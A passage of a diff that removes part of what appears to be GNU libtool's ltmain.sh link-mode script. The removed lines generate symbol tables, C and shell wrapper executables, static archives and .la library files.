- test -f "$nlist" || : > "$nlist"
-
- if test -n "$exclude_expsyms"; then
- $EGREP -v " ($exclude_expsyms)$" "$nlist" > "$nlist"T
- $mv "$nlist"T "$nlist"
- fi
-
- # Try sorting and uniquifying the output.
- if grep -v "^: " < "$nlist" |
- if sort -k 3 </dev/null >/dev/null 2>&1; then
- sort -k 3
- else
- sort +2
- fi |
- uniq > "$nlist"S; then
- :
- else
- grep -v "^: " < "$nlist" > "$nlist"S
- fi
-
- if test -f "$nlist"S; then
- eval "$global_symbol_to_cdecl"' < "$nlist"S >> "$output_objdir/$dlsyms"'
- else
- $echo '/* NONE */' >> "$output_objdir/$dlsyms"
- fi
-
- $echo >> "$output_objdir/$dlsyms" "\
-
-#undef lt_preloaded_symbols
-
-#if defined (__STDC__) && __STDC__
-# define lt_ptr void *
-#else
-# define lt_ptr char *
-# define const
-#endif
-
-/* The mapping between symbol names and symbols. */
-"
-
- case $host in
- *cygwin* | *mingw* )
- $echo >> "$output_objdir/$dlsyms" "\
-/* DATA imports from DLLs on WIN32 can't be const, because
- runtime relocations are performed -- see ld's documentation
- on pseudo-relocs */
-struct {
-"
- ;;
- * )
- $echo >> "$output_objdir/$dlsyms" "\
-const struct {
-"
- ;;
- esac
-
-
- $echo >> "$output_objdir/$dlsyms" "\
- const char *name;
- lt_ptr address;
-}
-lt_preloaded_symbols[] =
-{\
-"
-
- eval "$global_symbol_to_c_name_address" < "$nlist" >> "$output_objdir/$dlsyms"
-
- $echo >> "$output_objdir/$dlsyms" "\
- {0, (lt_ptr) 0}
-};
-
-/* This works around a problem in FreeBSD linker */
-#ifdef FREEBSD_WORKAROUND
-static const void *lt_preloaded_setup() {
- return lt_preloaded_symbols;
-}
-#endif
-
-#ifdef __cplusplus
-}
-#endif\
-"
- fi
-
- pic_flag_for_symtable=
- case $host in
- # compiling the symbol table file with pic_flag works around
- # a FreeBSD bug that causes programs to crash when -lm is
- # linked before any other PIC object. But we must not use
- # pic_flag when linking with -static. The problem exists in
- # FreeBSD 2.2.6 and is fixed in FreeBSD 3.1.
- *-*-freebsd2*|*-*-freebsd3.0*|*-*-freebsdelf3.0*)
- case "$compile_command " in
- *" -static "*) ;;
- *) pic_flag_for_symtable=" $pic_flag -DFREEBSD_WORKAROUND";;
- esac;;
- *-*-hpux*)
- case "$compile_command " in
- *" -static "*) ;;
- *) pic_flag_for_symtable=" $pic_flag";;
- esac
- esac
-
- # Now compile the dynamic symbol file.
- $show "(cd $output_objdir && $LTCC $LTCFLAGS -c$no_builtin_flag$pic_flag_for_symtable \"$dlsyms\")"
- $run eval '(cd $output_objdir && $LTCC $LTCFLAGS -c$no_builtin_flag$pic_flag_for_symtable "$dlsyms")' || exit $?
-
- # Clean up the generated files.
- $show "$rm $output_objdir/$dlsyms $nlist ${nlist}S ${nlist}T"
- $run $rm "$output_objdir/$dlsyms" "$nlist" "${nlist}S" "${nlist}T"
-
- # Transform the symbol file into the correct name.
- case $host in
- *cygwin* | *mingw* )
- if test -f "$output_objdir/${outputname}.def" ; then
- compile_command=`$echo "X$compile_command" | $Xsed -e "s%@SYMFILE@%$output_objdir/${outputname}.def $output_objdir/${outputname}S.${objext}%"`
- finalize_command=`$echo "X$finalize_command" | $Xsed -e "s%@SYMFILE@%$output_objdir/${outputname}.def $output_objdir/${outputname}S.${objext}%"`
- else
- compile_command=`$echo "X$compile_command" | $Xsed -e "s%@SYMFILE@%$output_objdir/${outputname}S.${objext}%"`
- finalize_command=`$echo "X$finalize_command" | $Xsed -e "s%@SYMFILE@%$output_objdir/${outputname}S.${objext}%"`
- fi
- ;;
- * )
- compile_command=`$echo "X$compile_command" | $Xsed -e "s%@SYMFILE@%$output_objdir/${outputname}S.${objext}%"`
- finalize_command=`$echo "X$finalize_command" | $Xsed -e "s%@SYMFILE@%$output_objdir/${outputname}S.${objext}%"`
- ;;
- esac
- ;;
- *)
- $echo "$modename: unknown suffix for \`$dlsyms'" 1>&2
- exit $EXIT_FAILURE
- ;;
- esac
- else
- # We keep going just in case the user didn't refer to
- # lt_preloaded_symbols. The linker will fail if global_symbol_pipe
- # really was required.
-
- # Nullify the symbol file.
- compile_command=`$echo "X$compile_command" | $Xsed -e "s% @SYMFILE@%%"`
- finalize_command=`$echo "X$finalize_command" | $Xsed -e "s% @SYMFILE@%%"`
- fi
-
- if test "$need_relink" = no || test "$build_libtool_libs" != yes; then
- # Replace the output file specification.
- compile_command=`$echo "X$compile_command" | $Xsed -e 's%@OUTPUT@%'"$output"'%g'`
- link_command="$compile_command$compile_rpath"
-
- # We have no uninstalled library dependencies, so finalize right now.
- $show "$link_command"
- $run eval "$link_command"
- exit_status=$?
-
- # Delete the generated files.
- if test -n "$dlsyms"; then
- $show "$rm $output_objdir/${outputname}S.${objext}"
- $run $rm "$output_objdir/${outputname}S.${objext}"
- fi
-
- exit $exit_status
- fi
-
- if test -n "$shlibpath_var"; then
- # We should set the shlibpath_var
- rpath=
- for dir in $temp_rpath; do
- case $dir in
- [\\/]* | [A-Za-z]:[\\/]*)
- # Absolute path.
- rpath="$rpath$dir:"
- ;;
- *)
- # Relative path: add a thisdir entry.
- rpath="$rpath\$thisdir/$dir:"
- ;;
- esac
- done
- temp_rpath="$rpath"
- fi
-
- if test -n "$compile_shlibpath$finalize_shlibpath"; then
- compile_command="$shlibpath_var=\"$compile_shlibpath$finalize_shlibpath\$$shlibpath_var\" $compile_command"
- fi
- if test -n "$finalize_shlibpath"; then
- finalize_command="$shlibpath_var=\"$finalize_shlibpath\$$shlibpath_var\" $finalize_command"
- fi
-
- compile_var=
- finalize_var=
- if test -n "$runpath_var"; then
- if test -n "$perm_rpath"; then
- # We should set the runpath_var.
- rpath=
- for dir in $perm_rpath; do
- rpath="$rpath$dir:"
- done
- compile_var="$runpath_var=\"$rpath\$$runpath_var\" "
- fi
- if test -n "$finalize_perm_rpath"; then
- # We should set the runpath_var.
- rpath=
- for dir in $finalize_perm_rpath; do
- rpath="$rpath$dir:"
- done
- finalize_var="$runpath_var=\"$rpath\$$runpath_var\" "
- fi
- fi
-
- if test "$no_install" = yes; then
- # We don't need to create a wrapper script.
- link_command="$compile_var$compile_command$compile_rpath"
- # Replace the output file specification.
- link_command=`$echo "X$link_command" | $Xsed -e 's%@OUTPUT@%'"$output"'%g'`
- # Delete the old output file.
- $run $rm $output
- # Link the executable and exit
- $show "$link_command"
- $run eval "$link_command" || exit $?
- exit $EXIT_SUCCESS
- fi
-
- if test "$hardcode_action" = relink; then
- # Fast installation is not supported
- link_command="$compile_var$compile_command$compile_rpath"
- relink_command="$finalize_var$finalize_command$finalize_rpath"
-
- $echo "$modename: warning: this platform does not like uninstalled shared libraries" 1>&2
- $echo "$modename: \`$output' will be relinked during installation" 1>&2
- else
- if test "$fast_install" != no; then
- link_command="$finalize_var$compile_command$finalize_rpath"
- if test "$fast_install" = yes; then
- relink_command=`$echo "X$compile_var$compile_command$compile_rpath" | $Xsed -e 's%@OUTPUT@%\$progdir/\$file%g'`
- else
- # fast_install is set to needless
- relink_command=
- fi
- else
- link_command="$compile_var$compile_command$compile_rpath"
- relink_command="$finalize_var$finalize_command$finalize_rpath"
- fi
- fi
-
- # Replace the output file specification.
- link_command=`$echo "X$link_command" | $Xsed -e 's%@OUTPUT@%'"$output_objdir/$outputname"'%g'`
-
- # Delete the old output files.
- $run $rm $output $output_objdir/$outputname $output_objdir/lt-$outputname
-
- $show "$link_command"
- $run eval "$link_command" || exit $?
-
- # Now create the wrapper script.
- $show "creating $output"
-
- # Quote the relink command for shipping.
- if test -n "$relink_command"; then
- # Preserve any variables that may affect compiler behavior
- for var in $variables_saved_for_relink; do
- if eval test -z \"\${$var+set}\"; then
- relink_command="{ test -z \"\${$var+set}\" || unset $var || { $var=; export $var; }; }; $relink_command"
- elif eval var_value=\$$var; test -z "$var_value"; then
- relink_command="$var=; export $var; $relink_command"
- else
- var_value=`$echo "X$var_value" | $Xsed -e "$sed_quote_subst"`
- relink_command="$var=\"$var_value\"; export $var; $relink_command"
- fi
- done
- relink_command="(cd `pwd`; $relink_command)"
- relink_command=`$echo "X$relink_command" | $Xsed -e "$sed_quote_subst"`
- fi
-
- # Quote $echo for shipping.
- if test "X$echo" = "X$SHELL $progpath --fallback-echo"; then
- case $progpath in
- [\\/]* | [A-Za-z]:[\\/]*) qecho="$SHELL $progpath --fallback-echo";;
- *) qecho="$SHELL `pwd`/$progpath --fallback-echo";;
- esac
- qecho=`$echo "X$qecho" | $Xsed -e "$sed_quote_subst"`
- else
- qecho=`$echo "X$echo" | $Xsed -e "$sed_quote_subst"`
- fi
-
- # Only actually do things if our run command is non-null.
- if test -z "$run"; then
- # win32 will think the script is a binary if it has
- # a .exe suffix, so we strip it off here.
- case $output in
- *.exe) output=`$echo $output|${SED} 's,.exe$,,'` ;;
- esac
- # test for cygwin because mv fails w/o .exe extensions
- case $host in
- *cygwin*)
- exeext=.exe
- outputname=`$echo $outputname|${SED} 's,.exe$,,'` ;;
- *) exeext= ;;
- esac
- case $host in
- *cygwin* | *mingw* )
- output_name=`basename $output`
- output_path=`dirname $output`
- cwrappersource="$output_path/$objdir/lt-$output_name.c"
- cwrapper="$output_path/$output_name.exe"
- $rm $cwrappersource $cwrapper
- trap "$rm $cwrappersource $cwrapper; exit $EXIT_FAILURE" 1 2 15
-
- cat > $cwrappersource <<EOF
-
-/* $cwrappersource - temporary wrapper executable for $objdir/$outputname
- Generated by $PROGRAM - GNU $PACKAGE $VERSION$TIMESTAMP
-
- The $output program cannot be directly executed until all the libtool
- libraries that it depends on are installed.
-
- This wrapper executable should never be moved out of the build directory.
- If it is, it will not operate correctly.
-
- Currently, it simply execs the wrapper *script* "/bin/sh $output",
- but could eventually absorb all of the scripts functionality and
- exec $objdir/$outputname directly.
-*/
-EOF
- cat >> $cwrappersource<<"EOF"
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <malloc.h>
-#include <stdarg.h>
-#include <assert.h>
-#include <string.h>
-#include <ctype.h>
-#include <sys/stat.h>
-
-#if defined(PATH_MAX)
-# define LT_PATHMAX PATH_MAX
-#elif defined(MAXPATHLEN)
-# define LT_PATHMAX MAXPATHLEN
-#else
-# define LT_PATHMAX 1024
-#endif
-
-#ifndef DIR_SEPARATOR
-# define DIR_SEPARATOR '/'
-# define PATH_SEPARATOR ':'
-#endif
-
-#if defined (_WIN32) || defined (__MSDOS__) || defined (__DJGPP__) || \
- defined (__OS2__)
-# define HAVE_DOS_BASED_FILE_SYSTEM
-# ifndef DIR_SEPARATOR_2
-# define DIR_SEPARATOR_2 '\\'
-# endif
-# ifndef PATH_SEPARATOR_2
-# define PATH_SEPARATOR_2 ';'
-# endif
-#endif
-
-#ifndef DIR_SEPARATOR_2
-# define IS_DIR_SEPARATOR(ch) ((ch) == DIR_SEPARATOR)
-#else /* DIR_SEPARATOR_2 */
-# define IS_DIR_SEPARATOR(ch) \
- (((ch) == DIR_SEPARATOR) || ((ch) == DIR_SEPARATOR_2))
-#endif /* DIR_SEPARATOR_2 */
-
-#ifndef PATH_SEPARATOR_2
-# define IS_PATH_SEPARATOR(ch) ((ch) == PATH_SEPARATOR)
-#else /* PATH_SEPARATOR_2 */
-# define IS_PATH_SEPARATOR(ch) ((ch) == PATH_SEPARATOR_2)
-#endif /* PATH_SEPARATOR_2 */
-
-#define XMALLOC(type, num) ((type *) xmalloc ((num) * sizeof(type)))
-#define XFREE(stale) do { \
- if (stale) { free ((void *) stale); stale = 0; } \
-} while (0)
-
-/* -DDEBUG is fairly common in CFLAGS. */
-#undef DEBUG
-#if defined DEBUGWRAPPER
-# define DEBUG(format, ...) fprintf(stderr, format, __VA_ARGS__)
-#else
-# define DEBUG(format, ...)
-#endif
-
-const char *program_name = NULL;
-
-void * xmalloc (size_t num);
-char * xstrdup (const char *string);
-const char * base_name (const char *name);
-char * find_executable(const char *wrapper);
-int check_executable(const char *path);
-char * strendzap(char *str, const char *pat);
-void lt_fatal (const char *message, ...);
-
-int
-main (int argc, char *argv[])
-{
- char **newargz;
- int i;
-
- program_name = (char *) xstrdup (base_name (argv[0]));
- DEBUG("(main) argv[0] : %s\n",argv[0]);
- DEBUG("(main) program_name : %s\n",program_name);
- newargz = XMALLOC(char *, argc+2);
-EOF
-
- cat >> $cwrappersource <<EOF
- newargz[0] = (char *) xstrdup("$SHELL");
-EOF
-
- cat >> $cwrappersource <<"EOF"
- newargz[1] = find_executable(argv[0]);
- if (newargz[1] == NULL)
- lt_fatal("Couldn't find %s", argv[0]);
- DEBUG("(main) found exe at : %s\n",newargz[1]);
- /* we know the script has the same name, without the .exe */
- /* so make sure newargz[1] doesn't end in .exe */
- strendzap(newargz[1],".exe");
- for (i = 1; i < argc; i++)
- newargz[i+1] = xstrdup(argv[i]);
- newargz[argc+1] = NULL;
-
- for (i=0; i<argc+1; i++)
- {
- DEBUG("(main) newargz[%d] : %s\n",i,newargz[i]);
- ;
- }
-
-EOF
-
- case $host_os in
- mingw*)
- cat >> $cwrappersource <<EOF
- execv("$SHELL",(char const **)newargz);
-EOF
- ;;
- *)
- cat >> $cwrappersource <<EOF
- execv("$SHELL",newargz);
-EOF
- ;;
- esac
-
- cat >> $cwrappersource <<"EOF"
- return 127;
-}
-
-void *
-xmalloc (size_t num)
-{
- void * p = (void *) malloc (num);
- if (!p)
- lt_fatal ("Memory exhausted");
-
- return p;
-}
-
-char *
-xstrdup (const char *string)
-{
- return string ? strcpy ((char *) xmalloc (strlen (string) + 1), string) : NULL
-;
-}
-
-const char *
-base_name (const char *name)
-{
- const char *base;
-
-#if defined (HAVE_DOS_BASED_FILE_SYSTEM)
- /* Skip over the disk name in MSDOS pathnames. */
- if (isalpha ((unsigned char)name[0]) && name[1] == ':')
- name += 2;
-#endif
-
- for (base = name; *name; name++)
- if (IS_DIR_SEPARATOR (*name))
- base = name + 1;
- return base;
-}
-
-int
-check_executable(const char * path)
-{
- struct stat st;
-
- DEBUG("(check_executable) : %s\n", path ? (*path ? path : "EMPTY!") : "NULL!");
- if ((!path) || (!*path))
- return 0;
-
- if ((stat (path, &st) >= 0) &&
- (
- /* MinGW & native WIN32 do not support S_IXOTH or S_IXGRP */
-#if defined (S_IXOTH)
- ((st.st_mode & S_IXOTH) == S_IXOTH) ||
-#endif
-#if defined (S_IXGRP)
- ((st.st_mode & S_IXGRP) == S_IXGRP) ||
-#endif
- ((st.st_mode & S_IXUSR) == S_IXUSR))
- )
- return 1;
- else
- return 0;
-}
-
-/* Searches for the full path of the wrapper. Returns
- newly allocated full path name if found, NULL otherwise */
-char *
-find_executable (const char* wrapper)
-{
- int has_slash = 0;
- const char* p;
- const char* p_next;
- /* static buffer for getcwd */
- char tmp[LT_PATHMAX + 1];
- int tmp_len;
- char* concat_name;
-
- DEBUG("(find_executable) : %s\n", wrapper ? (*wrapper ? wrapper : "EMPTY!") : "NULL!");
-
- if ((wrapper == NULL) || (*wrapper == '\0'))
- return NULL;
-
- /* Absolute path? */
-#if defined (HAVE_DOS_BASED_FILE_SYSTEM)
- if (isalpha ((unsigned char)wrapper[0]) && wrapper[1] == ':')
- {
- concat_name = xstrdup (wrapper);
- if (check_executable(concat_name))
- return concat_name;
- XFREE(concat_name);
- }
- else
- {
-#endif
- if (IS_DIR_SEPARATOR (wrapper[0]))
- {
- concat_name = xstrdup (wrapper);
- if (check_executable(concat_name))
- return concat_name;
- XFREE(concat_name);
- }
-#if defined (HAVE_DOS_BASED_FILE_SYSTEM)
- }
-#endif
-
- for (p = wrapper; *p; p++)
- if (*p == '/')
- {
- has_slash = 1;
- break;
- }
- if (!has_slash)
- {
- /* no slashes; search PATH */
- const char* path = getenv ("PATH");
- if (path != NULL)
- {
- for (p = path; *p; p = p_next)
- {
- const char* q;
- size_t p_len;
- for (q = p; *q; q++)
- if (IS_PATH_SEPARATOR(*q))
- break;
- p_len = q - p;
- p_next = (*q == '\0' ? q : q + 1);
- if (p_len == 0)
- {
- /* empty path: current directory */
- if (getcwd (tmp, LT_PATHMAX) == NULL)
- lt_fatal ("getcwd failed");
- tmp_len = strlen(tmp);
- concat_name = XMALLOC(char, tmp_len + 1 + strlen(wrapper) + 1);
- memcpy (concat_name, tmp, tmp_len);
- concat_name[tmp_len] = '/';
- strcpy (concat_name + tmp_len + 1, wrapper);
- }
- else
- {
- concat_name = XMALLOC(char, p_len + 1 + strlen(wrapper) + 1);
- memcpy (concat_name, p, p_len);
- concat_name[p_len] = '/';
- strcpy (concat_name + p_len + 1, wrapper);
- }
- if (check_executable(concat_name))
- return concat_name;
- XFREE(concat_name);
- }
- }
- /* not found in PATH; assume curdir */
- }
- /* Relative path | not found in path: prepend cwd */
- if (getcwd (tmp, LT_PATHMAX) == NULL)
- lt_fatal ("getcwd failed");
- tmp_len = strlen(tmp);
- concat_name = XMALLOC(char, tmp_len + 1 + strlen(wrapper) + 1);
- memcpy (concat_name, tmp, tmp_len);
- concat_name[tmp_len] = '/';
- strcpy (concat_name + tmp_len + 1, wrapper);
-
- if (check_executable(concat_name))
- return concat_name;
- XFREE(concat_name);
- return NULL;
-}
-
-char *
-strendzap(char *str, const char *pat)
-{
- size_t len, patlen;
-
- assert(str != NULL);
- assert(pat != NULL);
-
- len = strlen(str);
- patlen = strlen(pat);
-
- if (patlen <= len)
- {
- str += len - patlen;
- if (strcmp(str, pat) == 0)
- *str = '\0';
- }
- return str;
-}
-
-static void
-lt_error_core (int exit_status, const char * mode,
- const char * message, va_list ap)
-{
- fprintf (stderr, "%s: %s: ", program_name, mode);
- vfprintf (stderr, message, ap);
- fprintf (stderr, ".\n");
-
- if (exit_status >= 0)
- exit (exit_status);
-}
-
-void
-lt_fatal (const char *message, ...)
-{
- va_list ap;
- va_start (ap, message);
- lt_error_core (EXIT_FAILURE, "FATAL", message, ap);
- va_end (ap);
-}
-EOF
- # we should really use a build-platform specific compiler
- # here, but OTOH, the wrappers (shell script and this C one)
- # are only useful if you want to execute the "real" binary.
- # Since the "real" binary is built for $host, then this
- # wrapper might as well be built for $host, too.
- $run $LTCC $LTCFLAGS -s -o $cwrapper $cwrappersource
- ;;
- esac
- $rm $output
- trap "$rm $output; exit $EXIT_FAILURE" 1 2 15
-
- $echo > $output "\
-#! $SHELL
-
-# $output - temporary wrapper script for $objdir/$outputname
-# Generated by $PROGRAM - GNU $PACKAGE $VERSION$TIMESTAMP
-#
-# The $output program cannot be directly executed until all the libtool
-# libraries that it depends on are installed.
-#
-# This wrapper script should never be moved out of the build directory.
-# If it is, it will not operate correctly.
-
-# Sed substitution that helps us do robust quoting. It backslashifies
-# metacharacters that are still active within double-quoted strings.
-Xsed='${SED} -e 1s/^X//'
-sed_quote_subst='$sed_quote_subst'
-
-# The HP-UX ksh and POSIX shell print the target directory to stdout
-# if CDPATH is set.
-(unset CDPATH) >/dev/null 2>&1 && unset CDPATH
-
-relink_command=\"$relink_command\"
-
-# This environment variable determines our operation mode.
-if test \"\$libtool_install_magic\" = \"$magic\"; then
- # install mode needs the following variable:
- notinst_deplibs='$notinst_deplibs'
-else
- # When we are sourced in execute mode, \$file and \$echo are already set.
- if test \"\$libtool_execute_magic\" != \"$magic\"; then
- echo=\"$qecho\"
- file=\"\$0\"
- # Make sure echo works.
- if test \"X\$1\" = X--no-reexec; then
- # Discard the --no-reexec flag, and continue.
- shift
- elif test \"X\`(\$echo '\t') 2>/dev/null\`\" = 'X\t'; then
- # Yippee, \$echo works!
- :
- else
- # Restart under the correct shell, and then maybe \$echo will work.
- exec $SHELL \"\$0\" --no-reexec \${1+\"\$@\"}
- fi
- fi\
-"
- $echo >> $output "\
-
- # Find the directory that this script lives in.
- thisdir=\`\$echo \"X\$file\" | \$Xsed -e 's%/[^/]*$%%'\`
- test \"x\$thisdir\" = \"x\$file\" && thisdir=.
-
- # Follow symbolic links until we get to the real thisdir.
- file=\`ls -ld \"\$file\" | ${SED} -n 's/.*-> //p'\`
- while test -n \"\$file\"; do
- destdir=\`\$echo \"X\$file\" | \$Xsed -e 's%/[^/]*\$%%'\`
-
- # If there was a directory component, then change thisdir.
- if test \"x\$destdir\" != \"x\$file\"; then
- case \"\$destdir\" in
- [\\\\/]* | [A-Za-z]:[\\\\/]*) thisdir=\"\$destdir\" ;;
- *) thisdir=\"\$thisdir/\$destdir\" ;;
- esac
- fi
-
- file=\`\$echo \"X\$file\" | \$Xsed -e 's%^.*/%%'\`
- file=\`ls -ld \"\$thisdir/\$file\" | ${SED} -n 's/.*-> //p'\`
- done
-
- # Try to get the absolute directory name.
- absdir=\`cd \"\$thisdir\" && pwd\`
- test -n \"\$absdir\" && thisdir=\"\$absdir\"
-"
-
- if test "$fast_install" = yes; then
- $echo >> $output "\
- program=lt-'$outputname'$exeext
- progdir=\"\$thisdir/$objdir\"
-
- if test ! -f \"\$progdir/\$program\" || \\
- { file=\`ls -1dt \"\$progdir/\$program\" \"\$progdir/../\$program\" 2>/dev/null | ${SED} 1q\`; \\
- test \"X\$file\" != \"X\$progdir/\$program\"; }; then
-
- file=\"\$\$-\$program\"
-
- if test ! -d \"\$progdir\"; then
- $mkdir \"\$progdir\"
- else
- $rm \"\$progdir/\$file\"
- fi"
-
- $echo >> $output "\
-
- # relink executable if necessary
- if test -n \"\$relink_command\"; then
- if relink_command_output=\`eval \$relink_command 2>&1\`; then :
- else
- $echo \"\$relink_command_output\" >&2
- $rm \"\$progdir/\$file\"
- exit $EXIT_FAILURE
- fi
- fi
-
- $mv \"\$progdir/\$file\" \"\$progdir/\$program\" 2>/dev/null ||
- { $rm \"\$progdir/\$program\";
- $mv \"\$progdir/\$file\" \"\$progdir/\$program\"; }
- $rm \"\$progdir/\$file\"
- fi"
- else
- $echo >> $output "\
- program='$outputname'
- progdir=\"\$thisdir/$objdir\"
-"
- fi
-
- $echo >> $output "\
-
- if test -f \"\$progdir/\$program\"; then"
-
- # Export our shlibpath_var if we have one.
- if test "$shlibpath_overrides_runpath" = yes && test -n "$shlibpath_var" && test -n "$temp_rpath"; then
- $echo >> $output "\
- # Add our own library path to $shlibpath_var
- $shlibpath_var=\"$temp_rpath\$$shlibpath_var\"
-
- # Some systems cannot cope with colon-terminated $shlibpath_var
- # The second colon is a workaround for a bug in BeOS R4 sed
- $shlibpath_var=\`\$echo \"X\$$shlibpath_var\" | \$Xsed -e 's/::*\$//'\`
-
- export $shlibpath_var
-"
- fi
-
- # fixup the dll searchpath if we need to.
- if test -n "$dllsearchpath"; then
- $echo >> $output "\
- # Add the dll search path components to the executable PATH
- PATH=$dllsearchpath:\$PATH
-"
- fi
-
- $echo >> $output "\
- if test \"\$libtool_execute_magic\" != \"$magic\"; then
- # Run the actual program with our arguments.
-"
- case $host in
- # Backslashes separate directories on plain windows
- *-*-mingw | *-*-os2*)
- $echo >> $output "\
- exec \"\$progdir\\\\\$program\" \${1+\"\$@\"}
-"
- ;;
-
- *)
- $echo >> $output "\
- exec \"\$progdir/\$program\" \${1+\"\$@\"}
-"
- ;;
- esac
- $echo >> $output "\
- \$echo \"\$0: cannot exec \$program \${1+\"\$@\"}\"
- exit $EXIT_FAILURE
- fi
- else
- # The program doesn't exist.
- \$echo \"\$0: error: \\\`\$progdir/\$program' does not exist\" 1>&2
- \$echo \"This script is just a wrapper for \$program.\" 1>&2
- $echo \"See the $PACKAGE documentation for more information.\" 1>&2
- exit $EXIT_FAILURE
- fi
-fi\
-"
- chmod +x $output
- fi
- exit $EXIT_SUCCESS
- ;;
- esac
-
- # See if we need to build an old-fashioned archive.
- for oldlib in $oldlibs; do
-
- if test "$build_libtool_libs" = convenience; then
- oldobjs="$libobjs_save"
- addlibs="$convenience"
- build_libtool_libs=no
- else
- if test "$build_libtool_libs" = module; then
- oldobjs="$libobjs_save"
- build_libtool_libs=no
- else
- oldobjs="$old_deplibs $non_pic_objects"
- fi
- addlibs="$old_convenience"
- fi
-
- if test -n "$addlibs"; then
- gentop="$output_objdir/${outputname}x"
- generated="$generated $gentop"
-
- func_extract_archives $gentop $addlibs
- oldobjs="$oldobjs $func_extract_archives_result"
- fi
-
- # Do each command in the archive commands.
- if test -n "$old_archive_from_new_cmds" && test "$build_libtool_libs" = yes; then
- cmds=$old_archive_from_new_cmds
- else
- # POSIX demands no paths to be encoded in archives. We have
- # to avoid creating archives with duplicate basenames if we
- # might have to extract them afterwards, e.g., when creating a
- # static archive out of a convenience library, or when linking
- # the entirety of a libtool archive into another (currently
- # not supported by libtool).
- if (for obj in $oldobjs
- do
- $echo "X$obj" | $Xsed -e 's%^.*/%%'
- done | sort | sort -uc >/dev/null 2>&1); then
- :
- else
- $echo "copying selected object files to avoid basename conflicts..."
-
- if test -z "$gentop"; then
- gentop="$output_objdir/${outputname}x"
- generated="$generated $gentop"
-
- $show "${rm}r $gentop"
- $run ${rm}r "$gentop"
- $show "$mkdir $gentop"
- $run $mkdir "$gentop"
- exit_status=$?
- if test "$exit_status" -ne 0 && test ! -d "$gentop"; then
- exit $exit_status
- fi
- fi
-
- save_oldobjs=$oldobjs
- oldobjs=
- counter=1
- for obj in $save_oldobjs
- do
- objbase=`$echo "X$obj" | $Xsed -e 's%^.*/%%'`
- case " $oldobjs " in
- " ") oldobjs=$obj ;;
- *[\ /]"$objbase "*)
- while :; do
- # Make sure we don't pick an alternate name that also
- # overlaps.
- newobj=lt$counter-$objbase
- counter=`expr $counter + 1`
- case " $oldobjs " in
- *[\ /]"$newobj "*) ;;
- *) if test ! -f "$gentop/$newobj"; then break; fi ;;
- esac
- done
- $show "ln $obj $gentop/$newobj || cp $obj $gentop/$newobj"
- $run ln "$obj" "$gentop/$newobj" ||
- $run cp "$obj" "$gentop/$newobj"
- oldobjs="$oldobjs $gentop/$newobj"
- ;;
- *) oldobjs="$oldobjs $obj" ;;
- esac
- done
- fi
-
- eval cmds=\"$old_archive_cmds\"
-
- if len=`expr "X$cmds" : ".*"` &&
- test "$len" -le "$max_cmd_len" || test "$max_cmd_len" -le -1; then
- cmds=$old_archive_cmds
- else
- # the command line is too long to link in one step, link in parts
- $echo "using piecewise archive linking..."
- save_RANLIB=$RANLIB
- RANLIB=:
- objlist=
- concat_cmds=
- save_oldobjs=$oldobjs
-
- # Is there a better way of finding the last object in the list?
- for obj in $save_oldobjs
- do
- last_oldobj=$obj
- done
- for obj in $save_oldobjs
- do
- oldobjs="$objlist $obj"
- objlist="$objlist $obj"
- eval test_cmds=\"$old_archive_cmds\"
- if len=`expr "X$test_cmds" : ".*" 2>/dev/null` &&
- test "$len" -le "$max_cmd_len"; then
- :
- else
- # the above command should be used before it gets too long
- oldobjs=$objlist
- if test "$obj" = "$last_oldobj" ; then
- RANLIB=$save_RANLIB
- fi
- test -z "$concat_cmds" || concat_cmds=$concat_cmds~
- eval concat_cmds=\"\${concat_cmds}$old_archive_cmds\"
- objlist=
- fi
- done
- RANLIB=$save_RANLIB
- oldobjs=$objlist
- if test "X$oldobjs" = "X" ; then
- eval cmds=\"\$concat_cmds\"
- else
- eval cmds=\"\$concat_cmds~\$old_archive_cmds\"
- fi
- fi
- fi
- save_ifs="$IFS"; IFS='~'
- for cmd in $cmds; do
- eval cmd=\"$cmd\"
- IFS="$save_ifs"
- $show "$cmd"
- $run eval "$cmd" || exit $?
- done
- IFS="$save_ifs"
- done
-
- if test -n "$generated"; then
- $show "${rm}r$generated"
- $run ${rm}r$generated
- fi
-
- # Now create the libtool archive.
- case $output in
- *.la)
- old_library=
- test "$build_old_libs" = yes && old_library="$libname.$libext"
- $show "creating $output"
-
- # Preserve any variables that may affect compiler behavior
- for var in $variables_saved_for_relink; do
- if eval test -z \"\${$var+set}\"; then
- relink_command="{ test -z \"\${$var+set}\" || unset $var || { $var=; export $var; }; }; $relink_command"
- elif eval var_value=\$$var; test -z "$var_value"; then
- relink_command="$var=; export $var; $relink_command"
- else
- var_value=`$echo "X$var_value" | $Xsed -e "$sed_quote_subst"`
- relink_command="$var=\"$var_value\"; export $var; $relink_command"
- fi
- done
- # Quote the link command for shipping.
- relink_command="(cd `pwd`; $SHELL $progpath $preserve_args --mode=relink $libtool_args @inst_prefix_dir@)"
- relink_command=`$echo "X$relink_command" | $Xsed -e "$sed_quote_subst"`
- if test "$hardcode_automatic" = yes ; then
- relink_command=
- fi
-
-
- # Only create the output if not a dry run.
- if test -z "$run"; then
- for installed in no yes; do
- if test "$installed" = yes; then
- if test -z "$install_libdir"; then
- break
- fi
- output="$output_objdir/$outputname"i
- # Replace all uninstalled libtool libraries with the installed ones
- newdependency_libs=
- for deplib in $dependency_libs; do
- case $deplib in
- *.la)
- name=`$echo "X$deplib" | $Xsed -e 's%^.*/%%'`
- eval libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $deplib`
- if test -z "$libdir"; then
- $echo "$modename: \`$deplib' is not a valid libtool archive" 1>&2
- exit $EXIT_FAILURE
- fi
- newdependency_libs="$newdependency_libs $libdir/$name"
- ;;
- *) newdependency_libs="$newdependency_libs $deplib" ;;
- esac
- done
- dependency_libs="$newdependency_libs"
- newdlfiles=
- for lib in $dlfiles; do
- name=`$echo "X$lib" | $Xsed -e 's%^.*/%%'`
- eval libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $lib`
- if test -z "$libdir"; then
- $echo "$modename: \`$lib' is not a valid libtool archive" 1>&2
- exit $EXIT_FAILURE
- fi
- newdlfiles="$newdlfiles $libdir/$name"
- done
- dlfiles="$newdlfiles"
- newdlprefiles=
- for lib in $dlprefiles; do
- name=`$echo "X$lib" | $Xsed -e 's%^.*/%%'`
- eval libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $lib`
- if test -z "$libdir"; then
- $echo "$modename: \`$lib' is not a valid libtool archive" 1>&2
- exit $EXIT_FAILURE
- fi
- newdlprefiles="$newdlprefiles $libdir/$name"
- done
